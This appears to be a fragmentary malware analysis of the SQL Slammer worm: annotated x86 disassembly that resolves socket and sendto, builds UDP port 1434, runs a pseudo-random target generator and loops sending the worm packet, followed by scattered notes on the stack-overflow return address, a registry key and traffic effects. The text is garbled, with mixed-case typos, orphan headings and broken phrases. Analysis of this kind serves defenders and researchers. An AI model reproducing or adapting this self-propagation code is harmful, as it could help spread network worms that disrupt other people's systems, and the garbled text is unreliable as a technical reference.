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entrypoint

xor ecx, ecx
push ecx
push ecx
push eax

xor ecx, 9B040103h

xor ecx, 1010101h

push ecx ; 9A050002 = port 1434 / AF_INET
lea eax, [ebp-34h] ; (socket)
push eax

mov eax, [ebp-40h] ; ws2_32 base address
push eax

call dword ptr [esi] ; GetProcAddress

push 11h

1434 Keep alive packet

keep alive packet

PRND:
mov eaX, [ebp-4Ch] ; Pseudo Random Algorithm Start
lea ecX, [eax+eax*2]
lea edx, [eax+ecx*4]
shl edx, 4
add edx, eax
shl edx, 8
sub edx, eax
lea eax, [eax+edx*4]
add eax, ebx ; Pseudo Random Algorithm End
mov [ebp-4Ch], eax
push 10h
lea eax, [ebp-50h]
push eax

xXor ecx, ecx

. 1434 port
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push ecx

xor cx, 178h

push ecx

lea eax, [ebp+3]
push eax

mov eax, [ebp-54h]
push eax

call esi ; sendto

jmp short PRND ; Jump back to Pseudo Random Algorithm Start

Reverse Packet Worm EIP Garbage
Technical
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0x04 Monitoring thread thread

HKLM\\Software \Microsoft\Microsoft SQL ServerNAAAAN\MSSQLSERVER\

CurrentVersion ( SQL Server instance )
AAAA

stack overflow Return address

Ref: http://www.ngssoftware.com/advisories/mssql-udp.txt
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Traffic
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ICMP Unreachable
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